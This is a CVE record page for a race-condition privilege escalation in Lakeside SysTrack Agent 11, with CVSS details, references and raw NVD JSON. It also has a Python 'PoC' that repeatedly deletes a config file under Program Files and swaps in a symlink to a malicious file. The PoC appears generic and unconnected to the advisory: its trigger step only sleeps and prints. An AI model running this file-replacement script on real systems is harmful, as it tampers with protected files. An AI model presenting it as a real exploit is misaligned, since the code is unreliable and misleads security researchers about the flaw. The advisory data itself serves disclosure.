CVE-2026-35099

Description

Lakeside SysTrack Agent 11 before 11.5.0.15 has a race condition with resultant local privilege escalation to SYSTEM. The fixed versions are 11.2.1.28, 11.3.0.38, 11.4.0.24, and 11.5.0.15.

CVSS Details

CVSS Score

7.4

Severity

HIGH

CVSS Vector

CVSS:3.1/AV:L/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

No configuration data available.

Lakeside SysTrack Agent 11 < 11.5.0.15

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

import os
import time
import threading

# PoC for Race Condition in Lakeside SysTrack Agent (CVE-2026-35099)
# This script attempts to exploit a TOCTOU vulnerability to replace a config file.

TARGET_FILE = "C:\\Program Files\\SysTrack\\Agent\\config.ini"
MALICIOUS_FILE = "C:\\temp\\malicious_config.ini"

def replace_file():
    while True:
        try:
            # Attempt to replace the target file with a symlink or malicious file
            if os.path.exists(TARGET_FILE):
                os.remove(TARGET_FILE)
                os.symlink(MALICIOUS_FILE, TARGET_FILE)
                print("[+] File replaced successfully!")
                break
        except Exception as e:
            continue

def trigger_agent():
    # Simulate the agent checking the file
    # In a real scenario, this would be waiting for the service to restart or check config
    time.sleep(0.1)
    print("[*] Triggering agent operation...")

# Start threads to race
print("[*] Starting race condition exploit...")
t1 = threading.Thread(target=replace_file)
t2 = threading.Thread(target=trigger_agent)
t1.start()
t2.start()
t1.join()
t2.join()

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-35099
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-35099
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-35099/
[4] VulDB https://vuldb.com/cve/CVE-2026-35099
[5] https://documentation.lakesidesoftware.com/en/Content/Release%20Notes/Agent/11.2.1.28%20Hotfix%20Agent%20Release%20Notes.htm?tocpath=Release%20Notes%7CAgent%7C_____8
[6] https://documentation.lakesidesoftware.com/en/Content/Release%20Notes/Agent/11_3_xxx%20Hotfix%20Agent%20Release%20Notes.htm?tocpath=Release%20Notes%7CAgent%7C_____6
[7] https://documentation.lakesidesoftware.com/en/Content/Release%20Notes/Agent/11_4_xxx%20Hotfix%20Agent%20Release%20Notes.htm?tocpath=Release%20Notes%7CAgent%7C_____4
[8] https://documentation.lakesidesoftware.com/en/Content/Release%20Notes/Agent/11_5_xxx%20Hotfix%20Agent%20Release%20Notes.htm?tocpath=Release%20Notes%7CAgent%7C_____2

Raw JSON Data

JSON

{"cve": {"id": "CVE-2026-35099", "sourceIdentifier": "[email protected]", "published": "2026-04-01T16:23:50.953", "lastModified": "2026-04-27T19:18:46.690", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Lakeside SysTrack Agent 11 before 11.5.0.15 has a race condition with resultant local privilege escalation to SYSTEM. The fixed versions are 11.2.1.28, 11.3.0.38, 11.4.0.24, and 11.5.0.15."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 7.4, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "HIGH", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.4, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-362"}]}], "references": [{"url": "https://documentation.lakesidesoftware.com/en/Content/Release%20Notes/Agent/11.2.1.28%20Hotfix%20Agent%20Release%20Notes.htm?tocpath=Release%20Notes%7CAgent%7C_____8", "source": "[email protected]"}, {"url": "https://documentation.lakesidesoftware.com/en/Content/Release%20Notes/Agent/11_3_xxx%20Hotfix%20Agent%20Release%20Notes.htm?tocpath=Release%20Notes%7CAgent%7C_____6", "source": "[email protected]"}, {"url": "https://documentation.lakesidesoftware.com/en/Content/Release%20Notes/Agent/11_4_xxx%20Hotfix%20Agent%20Release%20Notes.htm?tocpath=Release%20Notes%7CAgent%7C_____4", "source": "[email protected]"}, {"url": "https://documentation.lakesidesoftware.com/en/Content/Release%20Notes/Agent/11_5_xxx%20Hotfix%20Agent%20Release%20Notes.htm?tocpath=Release%20Notes%7CAgent%7C_____2", "source": "[email protected]"}]}}